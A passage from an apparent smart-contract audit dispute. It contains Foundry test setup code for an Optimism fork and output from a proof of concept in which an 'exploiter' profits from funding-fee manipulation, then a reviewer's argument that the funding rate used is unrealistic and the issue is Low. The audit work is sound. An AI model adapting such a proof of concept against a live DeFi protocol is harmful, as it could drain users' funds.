648d51375a445ce1cb9681da1ea11e562b53522a5d3877f981f906d7cfe93f618804f1de89e0199ead306edc022d3230b3e8305f391b00000002a9e84375f000000000e7a7d61fffffff80000002aa6a23250000000000e3b3f37010000000a0000000c0000000064816d450000000064816d450000000064816d440000002a9e84375f000000000e7a7d610000000064816d44e6c020c1a15366b779a8c870e065023657c88c82b82d58a9fe856896a4034b0415ecddd26d49e1a8f1de9376ebebc03916ede873447c1255d2d5891b92ce57170000002c572b0c400000000009a7ec80fffffff80000002c5f098748000000000a0579370100000007000000080000000064816d450000000064816d450000000064816d440000002c57236b200000000009a04b600000000064816d44c67940be40e0cc7ffaa1acb08ee3fab30955a197da1ec297ab133d4d43d86ee6ff61491a931112ddf1bd8147cd1b641375f79f5825126d665480874634fd0ace0000002ac38a57d00000000004d9a8adfffffff80000002acd333e5000000000045471570100000018000000200000000064816d450000000064816d450000000064816d440000002ac38a57d00000000004d9a8ad0000000064816d448d7c0971128e8a4764e757dedb32243ed799571706af3a68ab6a75479ea524ff846ae1bdb6300b817cee5fdee2a6da192775030db5615b94a465f53bd40850b50000002abcc96d4c000000000bc27de1fffffff80000002ac30d8e800000000014a8c71c01000000080000000a0000000064816d450000000064816d450000000064816d440000002abcc96d4c000000000bc27de10000000064816d44543b71a4c292744d3fcf814a2ccda6f7c00f283d457f83aa73c41e9defae034ba0255134973f4fdf2f8f7808354274a3b1ebc6ee438be898d045e8b56ba1fe1300000000000000000000000000000000fffffff8000000000000000000000000000000000000000000000000080000000064816d450000000064816d410000000000000000000000000000000000000000000000000000000000000000"; SpotHedgeBaseMaker public maker; ERC20 baseToken2; address token0 = 0x4200000000000000000000000000000000000006; address token1 = 0x7F5c764cBc14f9669B88837ca1490cCa17c31607; function setUp() public virtual override { vm.label(address(uniswapV3Router), "UniswapV3Router"); vm.label(address(uniswapV3Factory), "UniswapV3Factory"); vm.label(address(uniswapV3Quoter), "UniswapV3Quoter"); vm.label(address(uniswapV3NonfungiblePositionManager), "UniswapV3NonfungiblePositionManager"); vm.createSelectFork(vm.rpcUrl("optimism"), forkBlock); collateralToken = ERC20(token1); baseToken2 = ERC20(token0); ClearingHouseIntSetup.setUp(); _setCollateralTokenAsCustomDecimalsToken(6); vm.label(address(collateralToken), collateralToken.symbol()); // disable borrwoing fee config.setMaxBorrowingFeeRate(marketId, 0, 0); // use forkPyth _deployPythOracleAdaptorInFork(); uint24 spotPoolFee = 500; uniswapV3B2QPath = abi.encodePacked(address(token0), uint24(spotPoolFee), address(token1)); uniswapV3Q2BPath = abi.encodePacked(address(token1), uint24(spotPoolFee), address(token0)); deal(address(token0), spotLp, 100e18, false); deal(address(token1), spotLp, 200000e6, false); // // Provision the maker // config.createMarket(marketId, priceFeedId); maker = new SpotHedgeBaseMaker(); _enableInitialize(address(maker)); maker.initialize( marketId, name, symbol, address(addressManager), address(uniswapV3Router), address(uniswapV3Factory), address(uniswapV3Quoter), address(token0), // since margin ratio=accValue/openNotional instead of posValue, it can't maintain 1.0 most of the time // even when spotHedge always do 1x long 0.5 ether ); config.registerMaker(marketId, address(maker)); maker.setUniswapV3Path(address(token0), address(token1), uniswapV3B2QPath); maker.setUniswapV3Path(address(token1), address(token0), uniswapV3Q2BPath); //console.log(address(maker.quoteToken())); //console.log(address(maker.baseToken())); deal(address(token0), address(makerLp), 1e18, false); vm.startPrank(makerLp); IERC20(token0).approve(address(maker), type(uint256).max); maker.deposit(1e18); vm.stopPrank(); } function test_excludeFromCoverageReport() public override { // workaround: https://github.com/foundry-rs/foundry/issues/2988#issuecomment-1437784542 } } ``` ```solidity // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.8.0; pragma abicoder v2; /// @title Non-fungible token for positions /// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred /// and authorized. interface INonfungiblePositionManager { struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); /// @notice Creates a new position wrapped in a NFT /// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized /// a method does not exist, i.e. the pool is assumed to be initialized. /// @param params The params necessary to mint a position, encoded as `MintParams` in calldata /// @return tokenId The ID of the token that represents the minted position /// @return liquidity The amount of liquidity for this position /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function mint(MintParams calldata params) external payable returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ); /// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens /// must be collected first. /// @param tokenId The ID of the token that is being burned function burn(uint256 tokenId) external payable; struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Decreases the amount of liquidity in a position and accounts it to the position /// @param params tokenId The ID of the token for which liquidity is being decreased, /// amount The amount by which liquidity will be decreased, /// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity, /// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity, /// deadline The time by which the transaction must be included to effect the change /// @return amount0 The amount of token0 accounted to the position's tokens owed /// @return amount1 The amount of token1 accounted to the position's tokens owed function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1); /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); } ``` ```solidity // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import "../BaseTest.sol"; import "../../src/clearingHouse/ClearingHouse.sol"; import "../../src/vault/IPositionModelEvent.sol"; import { FixedPointMathLib } from "solady/src/utils/FixedPointMathLib.sol"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { IPyth } from "pyth-sdk-solidity/IPyth.sol"; import { PythStructs } from "pyth-sdk-solidity/PythStructs.sol"; import { AbstractPyth } from "pyth-sdk-solidity/AbstractPyth.sol"; import { MulticallerWithSender } from "multicaller/MulticallerWithSender.sol"; import { AddressManager } from "../../src/addressManager/AddressManager.sol"; import { Config } from "../../src/config/Config.sol"; import { SystemStatus } from "../../src/systemStatus/SystemStatus.sol"; import { Vault } from "../../src/vault/Vault.sol"; import { FundingFee } from "../../src/fundingFee/FundingFee.sol"; import { TestBorrowingFee } from "../helper/TestBorrowingFee.sol"; import { TestMaker } from "../helper/TestMaker.sol"; import { TestDeflationaryToken } from "../helper/TestDeflationaryToken.sol"; import { TestCustomDecimalsToken } from "../helper/TestCustomDecimalsToken.sol"; import { PythOracleAdapter } from "../../src/oracle/pythOracleAdapter/PythOracleAdapter.sol"; import { MakerReporter } from "../../src/makerReporter/MakerReporter.sol"; address constant MULTICALLER_WITH_SENDER = 0x00000000002Fd5Aeb385D324B580FCa7c83823A0; contract ClearingHouseIntSetup is BaseTest { using FixedPointMathLib for int256; uint256 marketId = 0; ERC20 public collateralToken; TestDeflationaryToken public deflationaryCollateralToken; Vault public vault; ClearingHouse public clearingHouse; Config public config; SystemStatus public systemStatus; TestBorrowingFee public borrowingFee; FundingFee public fundingFee; IPyth public pyth = IPyth(makeAddr("Pyth")); bytes32 public priceFeedId = 0xff61491a931112ddf1bd8147cd1b641375f79f5825126d665480874634fd0ace; PythOracleAdapter public pythOracleAdapter; AddressManager public addressManager; MulticallerWithSender public multicallerWithSender = MulticallerWithSender(payable(MULTICALLER_WITH_SENDER)); MakerReporter public makerUtilRatioReporter; function setUp() public virtual { // external contact deflationaryCollateralToken = new TestDeflationaryToken("DF-USDC", "DF-USDC"); //collateralToken = ERC20(new TestCustomDecimalsToken("USDC", "USDC", 6)); collateralToken = ERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607); vm.label(address(collateralToken), collateralToken.symbol()); // core contract addressManager = new AddressManager(); vault = new Vault(); _enableInitialize(address(vault)); vault.initialize(address(addressManager), address(collateralToken)); clearingHouse = new ClearingHouse(); _enableInitialize(address(clearingHouse)); clearingHouse.initialize(address(addressManager)); config = new Config(); _enableInitialize(address(config)); config.initialize(address(addressManager)); config.setMaxOrderValidDuration(3 minutes); config.setInitialMarginRatio(marketId, 0.1e18); // 10% config.setMaintenanceMarginRatio(marketId, 0.0625e18); // 6.25% config.setLiquidationFeeRatio(marketId, 0.5e18); // 50% config.setLiquidationPenaltyRatio(marketId, 0.025e18); // 2.5% config.setDepositCap(type(uint256).max); // allow maximum deposit systemStatus = new SystemStatus(); _enableInitialize(address(systemStatus)); systemStatus.initialize(); borrowingFee = new TestBorrowingFee(); _enableInitialize(address(borrowingFee)); borrowingFee.initialize(address(addressManager)); fundingFee = new FundingFee(); _enableInitialize(address(fundingFee)); fundingFee.initialize(address(addressManager)); pythOracleAdapter = new PythOracleAdapter(address(pyth)); makerUtilRatioReporter = new MakerReporter(); _enableInitialize(address(makerUtilRatioReporter)); makerUtilRatioReporter.initialize(address(addressManager)); // Deposit oracle fee pythOracleAdapter.depositOracleFee{ value: 1 ether }(); // copy bytecode to MULTICALLER_WITH_SENDER and initialize the slot 0(reentrancy lock) for it vm.etch(MULTICALLER_WITH_SENDER, address(new MulticallerWithSender()).code); vm.store(MULTICALLER_WITH_SENDER, bytes32(uint256(0)), bytes32(uint256(1 << 160))); vm.mockCall( address(pyth), abi.encodeWithSelector(AbstractPyth.priceFeedExists.selector, priceFeedId), abi.encode(true) ); addressManager.setAddress(VAULT, address(vault)); addressManager.setAddress(CLEARING_HOUSE, address(clearingHouse)); addressManager.setAddress(BORROWING_FEE, address(borrowingFee)); addressManager.setAddress(FUNDING_FEE, address(fundingFee)); addressManager.setAddress(PYTH_ORACLE_ADAPTER, address(pythOracleAdapter)); addressManager.setAddress(MAKER_REPORTER, address(makerUtilRatioReporter)); addressManager.setAddress(CONFIG, address(config)); addressManager.setAddress(SYSTEM_STATUS, address(systemStatus)); } // function test_PrintMarketSlotIds() public { // // Vault._statMap starts from slot 201 (find slot number in .openzeppelin/xxx.json) // for (uint i = 0; i < 101; i++) { // bytes32 slot = keccak256(abi.encode(0 + i, uint(201))); // console.log(uint256(slot)); // } // } function test_excludeFromCoverageReport() public virtual override { // workaround: https://github.com/foundry-rs/foundry/issues/2988#issuecomment-1437784542 } function _setCollateralTokenAsDeflationaryToken() internal { vault = new Vault(); _enableInitialize(address(vault)); vault.initialize(address(addressManager), address(deflationaryCollateralToken)); addressManager.setAddress(VAULT, address(vault)); } function _setCollateralTokenAsCustomDecimalsToken(uint8 decimal) internal { vault = new Vault(); _enableInitialize(address(vault)); //collateralToken = ERC20(new TestCustomDecimalsToken("USDC", "USDC", decimal)); vm.label(address(collateralToken), collateralToken.symbol()); vault.initialize(address(addressManager), address(collateralToken)); addressManager.setAddress(VAULT, address(vault)); } // ex: 1234.56 => price: 123456, expo = -2 function _mockPythPrice(int64 price, int32 expo) internal { PythStructs.Price memory basePythPrice = PythStructs.Price(price, 0, expo, block.timestamp); vm.mockCall( address(pyth), abi.encodeWithSelector(IPyth.getPriceNoOlderThan.selector, priceFeedId), abi.encode(basePythPrice) ); } function _mockPythPrice(int64 price, int32 expo, uint256 timestamp) internal { PythStructs.Price memory basePythPrice = PythStructs.Price(price, 0, expo, timestamp); vm.mockCall( address(pyth), abi.encodeWithSelector(IPyth.getPriceNoOlderThan.selector, priceFeedId), abi.encode(basePythPrice) ); } // deposit to funding account and transfer to market account function _deposit(uint256 _marketId, address trader, uint256 amount) internal { deal(address(collateralToken), trader, amount, true); vm.startPrank(trader); // only approve when needed to prevent disturbing asserting on the next clearingHouse.deposit call if (collateralToken.allowance(trader, address(vault)) < amount) { collateralToken.approve(address(vault), type(uint256).max); } // use multicall so that we can have vm.expecttraderabove the _deposit() call address[] memory targets = new address[](2); targets[0] = address(vault); targets[1] = address(vault); bytes[] memory data = new bytes[](2); data[0] = abi.encodeWithSelector(vault.deposit.selector, trader, amount); data[1] = abi.encodeWithSignature("transferFundToMargin(uint256,uint256)", _marketId, amount); uint256[] memory values = new uint256[](2); values[0] = 0; values[1] = 0; multicallerWithSender.aggregateWithSender(targets, data, values); vm.stopPrank(); } // deposit to funding account function _deposit(address trader, uint256 amount) internal { deal(address(collateralToken), trader, amount, true); vm.startPrank(trader); // only approve when needed to prevent disturbing asserting on the next clearingHouse.deposit call if (collateralToken.allowance(trader, address(vault)) < amount) { collateralToken.approve(address(vault), type(uint256).max); } vault.deposit(trader, amount); vm.stopPrank(); } function _newMarketWithTestMaker(uint256 marketId_) internal returns (TestMaker maker) { maker = new TestMaker(vault); _newMarket(marketId_); config.registerMaker(marketId_, address(maker)); return maker; } function _newMarket(uint256 marketId_) internal { if (config.getPriceFeedId(marketId_) == 0x0) { config.createMarket(marketId_, priceFeedId); } } function _deployPythOracleAdaptorInFork() internal { // use Optimism pyth contract address pythOracleAdapter = new PythOracleAdapter(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C); // Deposit oracle fee pythOracleAdapter.depositOracleFee{ value: 1 ether }(); addressManager.setAddress(PYTH_ORACLE_ADAPTER, address(pythOracleAdapter)); } function _trade(address trader_, address maker_, int256 size, uint256 priceInEther) internal { _tradeWithRelayFee(marketId, trader_, maker_, size, priceInEther, makeAddr("relayer"), 0, 0); } function _tradeWithRelayFee( uint256 marketId_, address trader_, address maker_, int256 size_, uint256 priceInEther, // when priceInEther = 1, it means 1 ether address relayer, uint256 takerRelayFee, uint256 makerRelayFee ) internal { // workaround when we have hard coded whitelisted auth vm.mockCall( address(addressManager), abi.encodeWithSelector(AddressManager.getAddress.selector, ORDER_GATEWAY), abi.encode(relayer) ); if (!clearingHouse.isAuthorized(trader_, relayer)) { vm.prank(trader_); clearingHouse.setAuthorization(relayer, true); } if (!clearingHouse.isAuthorized(maker_, relayer)) { vm.prank(maker_); clearingHouse.setAuthorization(relayer, true); } bytes memory makerData; if (!config.isWhitelistedMaker(marketId, maker_)) { makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (size_.abs() * priceInEther) })); } vm.prank(relayer); clearingHouse.openPositionFor( IClearingHouse.OpenPositionForParams({ marketId: marketId_, maker: maker_, isBaseToQuote: size_ < 0, // b2q:q2b isExactInput: size_ < 0, // (b)2q:q2(b) amount: size_.abs(), oppositeAmountBound: size_ < 0 ? 0 : type(uint256).max, deadline: block.timestamp, makerData: makerData, taker: trader_, takerRelayFee: takerRelayFee, makerRelayFee: makerRelayFee }) ); } function _openPosition(uint256 marketId_, address maker_, int256 size_) internal { clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId_, maker: maker_, isBaseToQuote: size_ < 0, // b2q:q2b isExactInput: size_ < 0, // (b)2q:q2(b) amount: size_.abs(), oppositeAmountBound: size_ < 0 ? 0 : type(uint256).max, deadline: block.timestamp, makerData: "" }) ); } function _openPositionFor( uint256 marketId_, address trader_, address maker_, int256 size_, uint256 priceInEther, // when priceInEther = 1, it means 1 ether address relayer, uint256 takerRelayFee, uint256 makerRelayFee ) internal { vm.prank(relayer); clearingHouse.openPositionFor( IClearingHouse.OpenPositionForParams({ marketId: marketId_, maker: maker_, isBaseToQuote: size_ < 0, // b2q:q2b isExactInput: size_ < 0, // (b)2q:q2(b) amount: uint256(size_), oppositeAmountBound: size_ < 0 ? 0 : type(uint256).max, deadline: block.timestamp, makerData: abi.encode(IClearingHouse.MakerOrder({ amount: (uint256(size_) * priceInEther) })), taker: trader_, takerRelayFee: takerRelayFee, makerRelayFee: makerRelayFee }) ); } function _getPosition(uint256 _marketId, address trader) internal view returns (PositionProfile memory) { return PositionProfile({ margin: vault.getMargin(_marketId, trader), unsettledPnl: vault.getUnsettledPnl(_marketId, trader), positionSize: vault.getPositionSize(_marketId, trader), openNotional: vault.getOpenNotional(_marketId, trader) }); } function _getMarginProfile( uint256 marketId_, address trader_, uint256 price_ ) internal view returns (LegacyMarginProfile memory) { return LegacyMarginProfile({ positionSize: vault.getPositionSize(marketId_, trader_), openNotional: vault.getOpenNotional(marketId_, trader_), accountValue: vault.getAccountValue(marketId_, trader_, price_), unrealizedPnl: vault.getUnrealizedPnl(marketId_, trader_, price_), freeCollateral: vault.getFreeCollateral(marketId_, trader_, price_), freeCollateralForOpen: vault.getFreeCollateralForTrade( marketId_, trader_, price_, MarginRequirementType.INITIAL ), freeCollateralForReduce: vault.getFreeCollateralForTrade( marketId_, trader_, price_, MarginRequirementType.MAINTENANCE ), marginRatio: vault.getMarginRatio(marketId_, trader_, price_) }); } } ```

Results:

Results without additional liquidity 1.0e18 ```text Exploiter Quote balance at Start: 6000000000000 Funding Fee Rate after short: -4999999999999999 Exploiter's margin after both positions are closed: 6000469396048061562010464 Exploiter Quote balance at End: 6000469396048 ``` 1.1e18 ```text Exploiter Quote balance at Start: 6000000000000 Funding Fee Rate after short: -22216831940191314 Exploiter's margin after both positions are closed: 6013757379972937374446274 Exploiter Quote balance at End: 6013757379972 ``` 1.2e18 ```text Exploiter Quote balance at Start: 6000000000000 Funding Fee Rate after short: -98717524291740992 Exploiter's margin after both positions are closed: 6072800761109523310766846 Exploiter Quote balance at End: 6072800761109 ``` 1.3e18 ```text Exploiter Quote balance at Start: 6000000000000 Funding Fee Rate after short: -438638129348272645 Exploiter's margin after both positions are closed: 6335152136287961664972890 Exploiter Quote balance at End: 6335152136287 ```
Results with 500k additional liquidity 1.0e18 ```text LP balance before the deposit to Uniswap 500000000000 Exploiter Quote balance at Start: 6000000000000 Funding Fee Rate after short: -4999999999999999 Exploiter's margin after both positions are closed: 6002719260427242602066921 Balance of LP before UNI V3 position burn: 0 Balance of LP after UNI V3 position burn: 500250125061 The amount received after burn of the UNI V3 position is 500250125061 Exploiter Quote balance at End: 6002719260427 LP balance at End 500250125061 ``` 1.1e18 ```text LP balance before the deposit to Uniswap 500000000000 Exploiter Quote balance at Start: 6000000000000 Funding Fee Rate after short: -22216831940191314 Exploiter's margin after both positions are closed: 6024615628368772567260182 Balance of LP before UNI V3 position burn: 0 Balance of LP after UNI V3 position burn: 500250125061 The amount received after burn of the UNI V3 position is 500250125061 Exploiter Quote balance at End: 6024615628368 LP balance at End 500250125061 ``` 1.2e18 ```text LP balance before the deposit to Uniswap 500000000000 Exploiter Quote balance at Start: 6000000000000 Funding Fee Rate after short: -98717524291740992 Exploiter's margin after both positions are closed: 6121909213700285378260942 Balance of LP before UNI V3 position burn: 0 Balance of LP after UNI V3 position burn: 500250125061 The amount received after burn of the UNI V3 position is 500250125061 Exploiter Quote balance at End: 6121909213700 LP balance at End 500250125061 ``` 1.3e18 ```text LP balance before the deposit to Uniswap 500000000000 Exploiter Quote balance at Start: 6000000000000 Funding Fee Rate after short: -438638129348272645 Exploiter's margin after both positions are closed: 6554220260534061969137516 Balance of LP before UNI V3 position burn: 0 Balance of LP after UNI V3 position burn: 500250125061 The amount received after burn of the UNI V3 position is 500250125061 Exploiter Quote balance at End: 6554220260534 LP balance at End 500250125061 ```
midori-fuse commented 5 months ago

From the PoC (both the recently provided PoC, the PoC on the submission, and the sponsor's test file):

config.setFundingConfig(marketId, 0.005e18, 1.0e18, address(oracle_maker));

Aside from the funding exponent, there is also the funding rate (check function signature), and it's currently being set at a very unrealistic value. Here's why.

Although it's not known before the contest, the sponsor stated here that the intended funding rate (not exponent) is 100% to 500% a year. The given config (on the sponsor's comment) also looks weird, because 86400 is the number of seconds in a day, not in a year (for a year, it's 31536000 seconds).

Let's just say it's 500% a day, then $5/86400 \approx 6 10^{-5}$ per second. Then the funding rate in the PoC being $100$ times higher than intended (and if being 500% a year, then it's $36500$ times higher than intended). A funding rate of 100% a day means, at 1.0 exponent and max utilization, you pay a fee worth 100% of your position per day*. How is a fee of 5 times higher than this realistic?

For a reference of what a "realistic" value is, Binance Futures's funding rate are mostly 0.01% for most assets, and the funding interval is 8 hours. That means one side pays the other 0.01% worth of their position every 8 hours. Divided by the number of seconds in 8 hours, this gives a funding rate of $3.47 10^{-7}$% (or $3.47 10^{-9}$) per second, even if they technically don't pay this fee that often.

Back to the main issue, a funding rate of 500% per year (as per the sponsor's comment) is $5/(36586400) = 1.6 10^{-7}$. Then a funding rate of 0.005e18 or $5 * 10^{-3}$ per second is at least $30000$ times higher than the sponsor's stated upper bound of value. Let us also note that this value is only achievable on the maximum utilization (smaller utilizations scale down proportionally), and that 500% is the upper bound on the sponsor's stated value, not the realistic intended value.

Then any given profit from the funding fee has to be divided by $30000$, and the loss (from swaps, network fee, spread, etc) stays the same.

To sum up, because the funding rate is by second, and not anything else, the correct funding config for a 1.0 exponent and 500% funding rate per year should be:

config.setFundingConfig(marketId, 0.00000016e18, 1.0e18, address(oracle_maker)); // 5e18 divided by the number of seconds in a year

And the attack is no longer profitable, even on the upper bound of the sponsor's stated funding rate.

Because the attack is no longer profitable, and the fee per second is so small (comparable to that of the interest rate of a standard lending protocol), and also because the attacker carries a significant risk of holding a large position for a minimal fee profit, I will also go the distance and am arguing this to be a Low.